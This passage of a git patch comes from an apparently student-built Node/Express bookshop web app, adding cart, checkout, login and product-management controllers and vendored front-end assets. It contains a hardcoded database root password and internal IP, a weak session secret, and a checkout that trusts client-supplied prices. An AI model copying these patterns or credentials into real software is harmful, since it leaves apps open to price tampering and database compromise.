From ebe5f22f1beaa9818fa8c621f5779859280511cc Mon Sep 17 00:00:00 2001
From: 65160381 <65160381@go.buu.ac.th>
Date: Tue, 25 Mar 2025 05:14:08 +0700
Subject: [PATCH] 2

---
 app.js                                        |    62 +-
 controllers/cartController.js                 |    94 +
 controllers/indexController.js                |    30 +
 controllers/loginController.js                |    33 +
 controllers/logoutController.js               |     5 +
 controllers/productController.js              |   196 +-
 controllers/registerController.js             |    24 +
 controllers/userController.js                 |    72 -
 db.js                                         |    14 +
 public/css/.DS_Store                          |   Bin 0 -> 8196 bytes
 public/css/animate.min.css                    |     2 +
 public/css/bootstrap-grid.css                 |  1912 ++
 public/css/bootstrap-grid.css.map             |     1 +
 public/css/bootstrap-grid.min.css             |     7 +
 public/css/bootstrap-grid.min.css.map         |     1 +
 public/css/bootstrap-reboot.css               |   330 +
 public/css/bootstrap-reboot.css.map           |     1 +
 public/css/bootstrap-reboot.min.css           |     8 +
 public/css/bootstrap-reboot.min.css.map       |     1 +
 public/css/bootstrap.css                      |  8950 ++++++++
 public/css/bootstrap.css.map                  |     1 +
 public/css/bootstrap.min.css                  |     7 +
 public/css/bootstrap.min.css.map              |     1 +
 public/css/default-skin.css                   |   614 +
 public/css/font-awesome.min.css               |     4 +
 public/css/icomoon.css                        |  1793 ++
 public/css/index.css                          |    17 +
 public/css/jquery-ui.css                      |  1311 ++
 public/css/jquery.fancybox.min.css            |     1 +
 public/css/jquery.mCustomScrollbar.min.css    |     1 +
 public/css/meanmenu.css                       |   179 +
 public/css/nice-select.css                    |   177 +
 public/css/normalize.css                      |   427 +
 public/css/owl.carousel.min.css               |     6 +
 public/css/product.css                        |     3 +
 public/css/responsive.css                     |   412 +
 public/css/sign-in.css                        |    25 +
 public/css/slick.css                          |   108 +
 public/css/style.css                          |   999 +
 public/images/bookshop.png                    |   Bin 0 -> 12330 bytes
 public/images/call-icon.png                   |   Bin 0 -> 1668 bytes
 public/images/fb-icon.png                     |   Bin 0 -> 1762 bytes
 public/images/img-8.png                       |   Bin 0 -> 108272 bytes
 public/images/img-9.png                       |   Bin 0 -> 325410 bytes
 public/images/instagram-icon.png              |   Bin 0 -> 1929 bytes
 public/images/mail-icon.png                   |   Bin 0 -> 1296 bytes
 public/images/map-icon.png                    |   Bin 0 -> 1334 bytes
 public/images/quick-icon.png                  |   Bin 0 -> 1193 bytes
 public/images/search-icon.png                 |   Bin 0 -> 1310 bytes
 public/images/services-bg.png                 |   Bin 0 -> 525261 bytes
 public/images/social-icon.png                 |   Bin 0 -> 3524 bytes
 public/images/twitter-icon.png                |   Bin 0 -> 1835 bytes
 public/js/.DS_Store                           |   Bin 0 -> 8196 bytes
 public/js/bootstrap.bundle.js                 |  6433 ++++++
 public/js/bootstrap.bundle.js.map             |     1 +
 public/js/bootstrap.bundle.min.js             |     7 +
 public/js/bootstrap.bundle.min.js.map         |     1 +
 public/js/bootstrap.js                        |  3925 ++++
 public/js/bootstrap.js.map                    |     1 +
 public/js/bootstrap.min.js                    |     7 +
 public/js/bootstrap.min.js.map                |     1 +
 public/js/custom.js                           |   372 +
 public/js/jquery-3.0.0.min.js                 |   213 +
 .../js/jquery.mCustomScrollbar.concat.min.js  |     5 +
 public/js/jquery.min.js                       |     5 +
 public/js/jquery.validate.js                  |  1601 ++
 public/js/modernizer.js                       |  4552 ++++
 public/js/plugin.js                           | 18950 ++++++++++++++++
 public/js/popper.min.js                       |     6 +
 public/js/slider-setting.js                   |   105 +
 views/addProduct.ejs                          |   131 +
 views/cart.ejs                                |   167 +
 views/editProduct.ejs                         |   117 +
 views/index.ejs                               |   130 +-
 views/login.ejs                               |   208 +-
 views/orderConfirmation.ejs                   |    97 +
 views/orderHistory.ejs                        |   127 +
 views/product.ejs                             |   157 +
 views/products.ejs                            |    22 -
 views/register.ejs                            |   193 +-
 views/searchResults.ejs                       |   106 +
 81 files changed, 55236 insertions(+), 233 deletions(-)
 create mode 100644 controllers/cartController.js
 create mode 100644 controllers/indexController.js
 create mode 100644 controllers/loginController.js
 create mode 100644 controllers/logoutController.js
 create mode 100644 controllers/registerController.js
 delete mode 100644 controllers/userController.js
 create mode 100644 db.js
 create mode 100644 public/css/.DS_Store
 create mode 100644 public/css/animate.min.css
 create mode 100644 public/css/bootstrap-grid.css
 create mode 100644 public/css/bootstrap-grid.css.map
 create mode 100644 public/css/bootstrap-grid.min.css
 create mode 100644 public/css/bootstrap-grid.min.css.map
 create mode 100644 public/css/bootstrap-reboot.css
 create mode 100644 public/css/bootstrap-reboot.css.map
 create mode 100644 public/css/bootstrap-reboot.min.css
 create mode 100644 public/css/bootstrap-reboot.min.css.map
 create mode 100644 public/css/bootstrap.css
 create mode 100644 public/css/bootstrap.css.map
 create mode 100644 public/css/bootstrap.min.css
 create mode 100644 public/css/bootstrap.min.css.map
 create mode 100644 public/css/default-skin.css
 create mode 100644 public/css/font-awesome.min.css
 create mode 100644 public/css/icomoon.css
 create mode 100644 public/css/index.css
 create mode 100644 public/css/jquery-ui.css
 create mode 100644 public/css/jquery.fancybox.min.css
 create mode 100644 public/css/jquery.mCustomScrollbar.min.css
 create mode 100644 public/css/meanmenu.css
 create mode 100644 public/css/nice-select.css
 create mode 100644 public/css/normalize.css
 create mode 100644 public/css/owl.carousel.min.css
 create mode 100644 public/css/product.css
 create mode 100644 public/css/responsive.css
 create mode 100644 public/css/sign-in.css
 create mode 100644 public/css/slick.css
 create mode 100644 public/css/style.css
 create mode 100644 public/images/bookshop.png
 create mode 100644 public/images/call-icon.png
 create mode 100644 public/images/fb-icon.png
 create mode 100644 public/images/img-8.png
 create mode 100644 public/images/img-9.png
 create mode 100644 public/images/instagram-icon.png
 create mode 100644 public/images/mail-icon.png
 create mode 100644 public/images/map-icon.png
 create mode 100644 public/images/quick-icon.png
 create mode 100644 public/images/search-icon.png
 create mode 100644 public/images/services-bg.png
 create mode 100644 public/images/social-icon.png
 create mode 100644 public/images/twitter-icon.png
 create mode 100644 public/js/.DS_Store
 create mode 100644 public/js/bootstrap.bundle.js
 create mode 100644 public/js/bootstrap.bundle.js.map
 create mode 100644 public/js/bootstrap.bundle.min.js
 create mode 100644 public/js/bootstrap.bundle.min.js.map
 create mode 100644 public/js/bootstrap.js
 create mode 100644 public/js/bootstrap.js.map
 create mode 100644 public/js/bootstrap.min.js
 create mode 100644 public/js/bootstrap.min.js.map
 create mode 100644 public/js/custom.js
 create mode 100644 public/js/jquery-3.0.0.min.js
 create mode 100644 public/js/jquery.mCustomScrollbar.concat.min.js
 create mode 100644 public/js/jquery.min.js
 create mode 100644 public/js/jquery.validate.js
 create mode 100644 public/js/modernizer.js
 create mode 100644 public/js/plugin.js
 create mode 100644 public/js/popper.min.js
 create mode 100644 public/js/slider-setting.js
 create mode 100644 views/addProduct.ejs
 create mode 100644 views/cart.ejs
 create mode 100644 views/editProduct.ejs
 create mode 100644 views/orderConfirmation.ejs
 create mode 100644 views/orderHistory.ejs
 create mode 100644 views/product.ejs
 delete mode 100644 views/products.ejs
 create mode 100644 views/searchResults.ejs

diff --git a/app.js b/app.js
index bcfaf3f..04b2159 100644
--- a/app.js
+++ b/app.js
@@ -1,27 +1,57 @@
 const express = require('express');
 const bodyParser = require('body-parser');
-const userController = require('./controllers/userController');
-const productController = require('./controllers/productController');
+const session = require('express-session');
+const flash = require('connect-flash');
 
+global.loggedIn = null
 const app = express();
-const port = 3000;
-
-// ตั้งค่า EJS
+app.use(express.static('public'));
+app.use(express.json());
+app.use(express.urlencoded({ extended: true }));
+app.use(bodyParser.urlencoded({ extended: true }));
+app.use(session({
+    secret: 'secretkey',
+    resave: true,
+    saveUninitialized: true
+}));
+app.use(flash());
 app.set('view engine', 'ejs');
-app.set('views', './views');
-
-// ตั้งค่า middleware
-app.use(bodyParser.json());
+app.use('*', (req, res, next) => {
+  loggedIn = req.session.userId
+  next()
+});
 
-// ตั้งค่า routes
-app.use('/users', userController);
-app.use('/products', productController);
+const indexController = require('./controllers/indexController');
+const loginController = require('./controllers/loginController');
+const registerController = require('./controllers/registerController');
+const logoutController = require('./controllers/logoutController');
+const productController = require('./controllers/productController');
+const cartController = require('./controllers/cartController');
 
-// หน้าแรก (Home)
-app.get('/', (req, res) => {
-  res.render('index', { title: 'E-commerce Home' });
+app.get('/', indexController.getProducts);
+app.get('/login', loginController.showLoginPage);
+app.post('/user/login', loginController.loginUser);
+app.get('/register', registerController.showRegisterPage);
+app.post('/user/register', registerController.registerUser);
+app.post('/user/register', registerController.registerUser);
+app.get('/logout', logoutController);
+app.get('/product/:id', indexController.getProductDetail);
+app.get('/addProduct', productController.showAddProductForm);
+app.post('/addProduct', productController.createProduct);
+app.post('/delete_product/:id', productController.deleteProduct);
+app.get('/products/:id/edit', productController.showUpdateProductForm);
+app.post('/products/:id/update', productController.updateProduct);
+app.get('/search', productController.searchProducts);
+app.post('/cart/add', cartController.addToCart);
+app.get('/cart', cartController.viewCart);
+app.post('/cart/remove/:id', cartController.removeFromCart);
+app.post('/checkout', cartController.checkout);
+app.get('/orderConfirmation', (req,res) => {
+  res.render('orderConfirmation');
 });
+app.get('/orderHistory', productController.orderHistory);
 
+const port = process.env.PORT || 3000;
 app.listen(port, () => {
-  console.log(`Server running on port ${port}`);
+    console.log(`Server running on port ${port}`);
 });
diff --git a/controllers/cartController.js b/controllers/cartController.js
new file mode 100644
index 0000000..8b60b16
--- /dev/null
+++ b/controllers/cartController.js
@@ -0,0 +1,94 @@
+const pool = require('../db');
+
+exports.addToCart = (req, res) => {
+    const { product_id, price } = req.body;
+    const quantity = parseInt(req.body.quantity) || 1;
+
+    if (!req.session.cart) {
+        req.session.cart = [];
+    }
+
+    const existingProduct = req.session.cart.find(item => item.product_id === product_id);
+    if (existingProduct) {
+        existingProduct.quantity += quantity;
+    } else {
+        req.session.cart.push({ product_id, quantity, price });
+    }
+
+    res.redirect('/cart');
+};
+
+exports.viewCart = async (req, res) => {
+    const cart = req.session.cart || [];
+    
+    if (cart.length === 0) {
+        return res.render('cart', { cart: [], products: [] });
+    }
+
+    const productIds = cart.map(item => item.product_id);
+    try {
+        const [products] = await pool.query('SELECT * FROM products WHERE product_id IN (?)', [productIds]);
+
+        // ผูกข้อมูลสินค้าเข้ากับตะกร้า
+        const cartWithDetails = cart.map(item => {
+            const product = products.find(p => p.product_id == item.product_id);
+            
+            // ตรวจสอบว่าเจอสินค้าไหม
+            if (product) {
+                return { ...item, product_name: product.product_name, image: product.image };
+            } else {
+                // ถ้าไม่พบสินค้า, คืนค่าด้วยค่า default หรือข้อความ
+                return { ...item, product_name: 'ไม่พบสินค้า', image: 'default_image.jpg' };
+            }
+        });
+
+        res.render('cart', { cart: cartWithDetails });
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการโหลดตะกร้าสินค้า: ' + err.message);
+    }
+};
+
+
+exports.removeFromCart = (req, res) => {
+    const product_id = req.params.id;
+    req.session.cart = req.session.cart.filter(item => item.product_id !== product_id);
+    res.redirect('/cart');
+};
+
+exports.checkout = async (req, res) => {
+    if (!req.session.userIdEmail) {
+        return res.status(401).send('กรุณาเข้าสู่ระบบก่อนทำการสั่งซื้อ');
+    }
+
+    const cart = req.session.cart || [];
+    if (cart.length === 0) {
+        return res.redirect('/cart');
+    }
+
+    try {
+        const totalAmount = cart.reduce((sum, item) => sum + item.price * item.quantity, 0);
+        const userEmail = req.session.userIdEmail;
+
+        // ดึง user_id จาก email
+        const [user] = await pool.query('SELECT id FROM users WHERE email = ?', [userEmail]);
+        if (user.length === 0) {
+            return res.status(404).send('ไม่พบผู้ใช้งาน');
+        }
+        const userId = user[0].id;
+
+        // สร้างคำสั่งซื้อใน Orders
+        const [orderResult] = await pool.query('INSERT INTO orders (user_id, total_amount) VALUES (?, ?)', [userId, totalAmount]);
+        const orderId = orderResult.insertId;
+
+        // เพิ่มรายการสินค้าลงใน Order_Items
+        const orderItems = cart.map(item => [orderId, item.product_id, item.quantity, item.price]);
+        await pool.query('INSERT INTO order_items (order_id, book_id, quantity, price) VALUES ?', [orderItems]);
+
+        // ล้างตะกร้าหลังจาก Checkout สำเร็จ
+        req.session.cart = [];
+
+        res.redirect('/orderConfirmation');
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการสั่งซื้อ: ' + err.message);
+    }
+};
\ No newline at end of file
diff --git a/controllers/indexController.js b/controllers/indexController.js
new file mode 100644
index 0000000..932af7d
--- /dev/null
+++ b/controllers/indexController.js
@@ -0,0 +1,30 @@
+const pool = require('../db');
+
+exports.getProducts = async (req, res) => {
+    try {
+      const [rows] = await pool.query('SELECT * FROM products');
+      res.render('index', { products: rows });
+    } catch (err) {
+      res.status(500).send('Database error: ' + err.message);
+    }
+  };
+
+  exports.getProductDetail = async (req, res) => {
+    const productId = req.params.id;
+    try {
+      const [rows] = await pool.query(`
+        SELECT p.*, u.email AS owner
+        FROM products p
+        LEFT JOIN users u ON p.owner = u.email
+        WHERE p.product_id = ?`, [productId]);
+  
+      if (rows.length === 0) {
+        return res.status(404).send('ไม่พบสินค้านี้');
+      }
+  
+      res.render('product', { product: rows[0], currentUserEmail: req.session.userIdEmail || '' });
+    } catch (err) {
+      res.status(500).send('Database error: ' + err.message);
+    }
+  };
+  
\ No newline at end of file
diff --git a/controllers/loginController.js b/controllers/loginController.js
new file mode 100644
index 0000000..5e69712
--- /dev/null
+++ b/controllers/loginController.js
@@ -0,0 +1,33 @@
+const bcrypt = require('bcrypt');
+const pool = require('../db');
+
+module.exports = {
+    showLoginPage: (req, res) => {
+        res.render('login', { message: req.flash('message') });
+    },
+
+    loginUser: async (req, res) => {
+        const { email, rpassword } = req.body;
+        try {
+            const [rows] = await pool.execute('SELECT * FROM users WHERE email = ?', [email]);
+            if (rows.length === 0) {
+                req.flash('message', 'Email not found');
+                return res.redirect('/login');
+            }
+
+            const user = rows[0];
+            const match = await bcrypt.compare(rpassword, user.password);
+            if (match) {
+                req.session.userId = user.id
+                req.session.userIdEmail = user.email;
+                res.redirect('/');
+            } else {
+                req.flash('message', 'Password incorrect');
+                return res.redirect('/login');
+            }
+        } catch (err) {
+            console.error(err);
+            res.status(500).send('Server error');
+        }
+    }
+};
diff --git a/controllers/logoutController.js b/controllers/logoutController.js
new file mode 100644
index 0000000..712c536
--- /dev/null
+++ b/controllers/logoutController.js
@@ -0,0 +1,5 @@
+module.exports = (req, res) => {
+    req.session.destroy(() => {
+        res.redirect('/')
+    })
+}
\ No newline at end of file
diff --git a/controllers/productController.js b/controllers/productController.js
index f6f8bbc..eb0b38e 100644
--- a/controllers/productController.js
+++ b/controllers/productController.js
@@ -1,77 +1,131 @@
-const express = require('express');
-const mysql = require('mysql2');
-
-const router = express.Router();
-const pool = mysql.createPool({
-    host: process.env.DB_HOST || "10.104.20.74",
-    port: process.env.DB_PORT || "3306",
-    user: process.env.DB_USER || "root",
-    password: process.env.DB_PASSWORD || "TNSypb73606",
-    database: process.env.DB_NAME || "project",
-    waitForConnections: true,
-    connectionLimit: 10,
-    queueLimit: 0
-});
-
-
-// หน้ารายการสินค้า
-router.get('/', (req, res) => {
-  const query = 'SELECT * FROM products';
-  db.query(query, (err, results) => {
-    if (err) {
-      return res.status(500).json({ message: 'Error fetching products' });
+const pool = require('../db');
+
+exports.showAddProductForm = (req, res) => {
+   res.render('addProduct');
+};
+
+exports.createProduct = async (req, res) => {
+    const { product_name, price, image, description } = req.body;
+    const owner = req.session.userIdEmail; // เราต้องเก็บ email ตอน login ด้วยนะครับ
+    try {
+       const sql = 'INSERT INTO products (product_name, price, image, description, owner) VALUES (?, ?, ?, ?, ?)';
+       await pool.query(sql, [product_name, price, image, description, owner]);
+       res.redirect('/');
+    } catch (err) {
+       res.status(500).send('เกิดข้อผิดพลาดในการเพิ่มสินค้า: ' + err.message);
     }
-    res.render('products', { products: results });
-  });
-});
-
-// เพิ่มสินค้า
-router.post('/add', (req, res) => {
-  const { name, description, price, quantity } = req.body;
-  const query = 'INSERT INTO products (name, description, price, quantity) VALUES (?, ?, ?, ?)';
-  db.query(query, [name, description, price, quantity], (err, result) => {
-    if (err) {
-      return res.status(500).json({ message: 'Error adding product' });
+ };
+
+ 
+exports.showUpdateProductForm = async (req, res) => {
+    const productId = req.params.id;
+    try {
+        const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]);
+        if (rows.length === 0) {
+            return res.status(404).send('ไม่พบสินค้านี้');
+        }
+        res.render('editProduct', { product: rows[0] });
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการโหลดข้อมูลสินค้า: ' + err.message);
+    }
+};
+
+ exports.updateProduct = async (req, res) => {
+    const productId = req.params.id;
+    const { product_name, price, image, description } = req.body;
+    const currentUserEmail = req.session.userIdEmail;
+
+    try {
+        const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]);
+        if (rows.length === 0) {
+            return res.status(404).send('ไม่พบสินค้านี้');
+        }
+        const product = rows[0];
+        if (product.owner !== currentUserEmail) {
+            return res.status(403).send('คุณไม่มีสิทธิ์แก้ไขสินค้านี้');
+        }
+
+        const sql = 'UPDATE products SET product_name = ?, price = ?, image = ?, description = ? WHERE product_id = ?';
+        await pool.query(sql, [product_name, price, image, description, productId]);
+        
+        res.redirect('/');
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการอัปเดตสินค้า: ' + err.message);
+    }
+};
+
+ exports.deleteProduct = async (req, res) => {
+    const productId = req.params.id;
+    const currentUserEmail = req.session.userIdEmail;
+    try {
+      // ตรวจสอบว่าผู้ใช้นี้เป็นเจ้าของหรือไม่
+      const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]);
+      if (rows.length === 0) {
+        return res.status(404).send('ไม่พบสินค้านี้');
+      }
+      const product = rows[0];
+      if (product.owner !== currentUserEmail) {
+        return res.status(403).send('คุณไม่มีสิทธิ์ลบสินค้านี้');
+      }
+  
+      // ลบสินค้าได้
+      await pool.query('DELETE FROM products WHERE product_id = ?', [productId]);
+      res.redirect('/');
+    } catch (err) {
+      res.status(500).send('Database error: ' + err.message);
     }
-    res.redirect('/products');
-  });
-});
-
-// แก้ไขสินค้า
-router.put('/update/:id', (req, res) => {
-  const { id } = req.params;
-  const { name, description, price, quantity } = req.body;
-  const query = 'UPDATE products SET name = ?, description = ?, price = ?, quantity = ? WHERE product_id = ?';
-  db.query(query, [name, description, price, quantity, id], (err, result) => {
-    if (err) {
-      return res.status(500).json({ message: 'Error updating product' });
+  };
+
+  exports.searchProducts = async (req, res) => {
+    const searchQuery = req.query.q; // รับค่าค้นหาจาก query parameter
+    try {
+        const sql = 'SELECT * FROM products WHERE product_name LIKE ?';
+        const [rows] = await pool.query(sql, [`%${searchQuery}%`]); // ค้นหาชื่อสินค้าที่คล้ายกัน
+
+        res.render('searchResults', { products: rows, searchQuery }); // ส่งผลลัพธ์ไปยังหน้า searchResults.ejs
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการค้นหา: ' + err.message);
     }
-    res.redirect('/products');
-  });
-});
-
-// ลบสินค้า
-router.delete('/delete/:id', (req, res) => {
-  const { id } = req.params;
-  const query = 'DELETE FROM products WHERE product_id = ?';
-  db.query(query, [id], (err, result) => {
-    if (err) {
-      return res.status(500).json({ message: 'Error deleting product' });
+};
+
+exports.orderHistory = async (req, res) => {
+    if (!req.session.userIdEmail) {
+        return res.status(401).send('กรุณาเข้าสู่ระบบเพื่อดูประวัติการสั่งซื้อ');
     }
-    res.redirect('/products');
-  });
-});
-
-// ค้นหาสินค้า
-router.get('/search', (req, res) => {
-  const { query } = req.query;
-  const searchQuery = `SELECT * FROM products WHERE name LIKE ?`;
-  db.query(searchQuery, [`%${query}%`], (err, results) => {
-    if (err) {
-      return res.status(500).json({ message: 'Error searching products' });
+
+    try {
+        const userEmail = req.session.userIdEmail;
+
+        // ดึง user_id จาก email
+        const [user] = await pool.query('SELECT id FROM users WHERE email = ?', [userEmail]);
+        if (user.length === 0) {
+            return res.status(404).send('ไม่พบผู้ใช้งาน');
+        }
+        const userId = user[0].id;
+
+        // ดึงคำสั่งซื้อทั้งหมดของผู้ใช้
+        const [orders] = await pool.query(
+            'SELECT * FROM orders WHERE user_id = ? ORDER BY created_at DESC',
+            [userId]
+        );
+
+        // ดึงรายการสินค้าสำหรับแต่ละคำสั่งซื้อ
+        for (let order of orders) {
+            const [items] = await pool.query(
+                `SELECT oi.*, p.product_name, p.image 
+                 FROM order_items oi 
+                 JOIN products p ON oi.book_id = p.product_id 
+                 WHERE oi.order_id = ?`,
+                [order.order_id]
+            );
+            order.items = items;
+        }
+
+        res.render('orderHistory', { orders });
+    } catch (err) {
+        res.status(500).send('เกิดข้อผิดพลาดในการดึงประวัติการสั่งซื้อ: ' + err.message);
     }
-    res.render('products', { products: results });
-  });
-});
+};
+
 
-module.exports = router;
+  
\ No newline at end of file
diff --git a/controllers/registerController.js b/controllers/registerController.js
new file mode 100644
index 0000000..f2b6835
--- /dev/null
+++ b/controllers/registerController.js
@@ -0,0 +1,24 @@
+const bcrypt = require('bcrypt');
+const pool = require('../db');
+
+module.exports = {
+    showRegisterPage: (req, res) => {
+        res.render('register', { message: req.flash('message') });
+    },
+
+    registerUser: async (req, res) => {
+        const { email, rpassword } = req.body;
+
+        try {
+            const hashedPassword = await bcrypt.hash(rpassword, 10);
+            const query = 'INSERT INTO users (email, password) VALUES (?, ?)';
+            await pool.execute(query, [email, hashedPassword]);
+
+            req.flash('message', 'User registered successfully. Please log in.');
+            res.redirect('/login');
+        } catch (err) {
+            console.error('Error inserting user:', err);
+            res.status(500).send('Error occurred');
+        }
+    }
+};
diff --git a/controllers/userController.js b/controllers/userController.js
deleted file mode 100644
index c4e231b..0000000
--- a/controllers/userController.js
+++ /dev/null
@@ -1,72 +0,0 @@
-const express = require('express');
-const bcrypt = require('bcryptjs');
-const jwt = require('jsonwebtoken');
-const mysql = require('mysql2');
-
-const router = express.Router();
-const pool = mysql.createPool({
-    host: process.env.DB_HOST || "10.104.20.74",
-    port: process.env.DB_PORT || "3306",
-    user: process.env.DB_USER || "root",
-    password: process.env.DB_PASSWORD || "TNSypb73606",
-    database: process.env.DB_NAME || "project",
-    waitForConnections: true,
-    connectionLimit: 10,
-    queueLimit: 0
-});
-
-
-// หน้า Register
-router.get('/register', (req, res) => {
-    res.render('register'); // โหลดหน้า Register
-  });
-  
-  // หน้า Login
-  router.get('/login', (req, res) => {
-    res.render('login'); // โหลดหน้า Login
-  });
-  
-  // สมัครสมาชิก
-  router.post('/register', (req, res) => {
-    const { email, password } = req.body;
-    bcrypt.hash(password, 10, (err, hashedPassword) => {
-      if (err) {
-        return res.status(500).json({ message: 'Error hashing password' });
-      }
-      const query = 'INSERT INTO users (email, password) VALUES (?, ?)';
-      db.query(query, [email, hashedPassword], (err, result) => {
-        if (err) {
-          return res.status(500).json({ message: 'Error registering user' });
-        }
-        res.redirect('/');
-      });
-    });
-  });
-  
-  // ล็อกอิน
-  router.post('/login', (req, res) => {
-    const { email, password } = req.body;
-    const query = 'SELECT * FROM users WHERE email = ?';
-    db.query(query, [email], (err, result) => {
-      if (err) {
-        return res.status(500).json({ message: 'Error logging in' });
-      }
-      if (result.length === 0) {
-        return res.status(404).json({ message: 'User not found' });
-      }
-      const user = result[0];
-      bcrypt.compare(password, user.password, (err, isMatch) => {
-        if (err) {
-          return res.status(500).json({ message: 'Error comparing password' });
-        }
-        if (!isMatch) {
-          return res.status(400).json({ message: 'Invalid credentials' });
-        }
-        const token = jwt.sign({ userId: user.user_id }, 'secretkey', { expiresIn: '1h' });
-        res.cookie('token', token);
-        res.redirect('/');
-      });
-    });
-  });
-  
-  module.exports = router;
\ No newline at end of file
diff --git a/db.js b/db.js
new file mode 100644
index 0000000..b7bdc17
--- /dev/null
+++ b/db.js
@@ -0,0 +1,14 @@
+const mysql = require('mysql2/promise');
+
+const pool = mysql.createPool({
+    host: process.env.DB_HOST || "10.104.20.74",
+    port: process.env.DB_PORT || "3306",
+    user: process.env.DB_USER || "root",
+    password: process.env.DB_PASSWORD || "TNSypb73606",
+    database: process.env.DB_NAME || "project",
+    waitForConnections: true,
+    connectionLimit: 10,
+    queueLimit: 0
+});
+
+module.exports = pool;
diff --git a/public/css/.DS_Store b/public/css/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..805c967bb3742be12aa5c2062d4f417ea46703eb
GIT binary patch
literal 8196
zcmZQzU|@7AO)+F(kYHe7;9!8z0^AH(0Z1N%F(jFwB2pmp7#IW?7!nyu7*ZMZ7;+gh
zp>m_tXb6mkz-S1JhQMeDjE2DA3IRrlb2xC+`w-btax?@+LtsRP0H}OWfVAxy9H4Xq
zga%15FfuTJy8w&~3@oq!Vg&aC7(j9$tsokt6-0xyGBAQzU^Bp485p5j8NuBUkUjyh
zQH%^=?F@`yn?d4W?F@`yn;94wA=()jp*Ax@dnk+$?F@_%?F@`y+rdVT5~Cq78Ukn`
z0P4H*GbA$PF=R62qV(VM81xvD8HyQ-J#+GtlXCKt7$8~Ont_2q<3AXH%@SfrV#sI6
zXDDGPW+-7OVn}2tV9;eqXDDLGWJtkb#!56Z#E3BiJg$()P=M+lMsX6&0*y`J@Ec<*
znpsi=+=XHm4)=XVGgAbsnMDk#aB-~R&XkB|js#pia=2qL2fMqN&XZvtihoh#f!P+#
zJQ*U~hhiRfcQUU=GnW^OxmZJtMG{S?Aa0%5?Ph5w$^;Z&poR*|S2PnuvAO}p1nh2M
zO-3_GfFXq;l_8BGk)f0!hoOW)m!X&;n<0|{N7`lp<=YwHZ2KRaZ$%i=81fnNz&aBd
z${A7_iW%}5a^d55xXc0NU1W2(88R7?!8$>u01jQ?T#BrVmm!OxkfD?zm7$2Cl0lcD
zlpzy)Spm+I$U4PQbn1aaAdexLp%NUj72wdr848S`+=y(NJep~_49*Ot;F1g!7Qqb3
z3`Gq23^@!r3`q=$3`O`&2j@{_(|N$*2`XJd;hM)#irtUkyojuiA6y<MGo*rJHI*TU
zA(bJSp#-~baLz;4&C8I-kk3#AF3)oqG8wACaf+oZ2j?whogxhR4CM?tV0%Em%?F1C
z$bQI}E{@m*=QLz<_!vOtP%%RRIE586WHOZDasxPzA?xL2C}se;I+-CG><)|?2%M+T
zb(Anvf<p;wNdV3}$U49oV8j#5kPwgn_5WQN7;ugMLsX5DqaiRF0>d%{7+G9`U7Wz3
za_s&C^|e9$=>(`Ws1FY6jx&P#<q&-!C7`Z7xI4}WnN$R;W@Lc$<QW+tJ$Xh329VZ)
W90)+J2}bLG<j@$c|G{Z?BoF|XIa#g%

literal 0
HcmV?d00001

diff --git a/public/css/animate.min.css b/public/css/animate.min.css
new file mode 100644
index 0000000..073e89c
--- /dev/null
+++ b/public/css/animate.min.css
@@ -0,0 +1,2 @@
+@charset "UTF-8";
+.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes bounce{0%,20%,53%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{0%,20%,53%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes 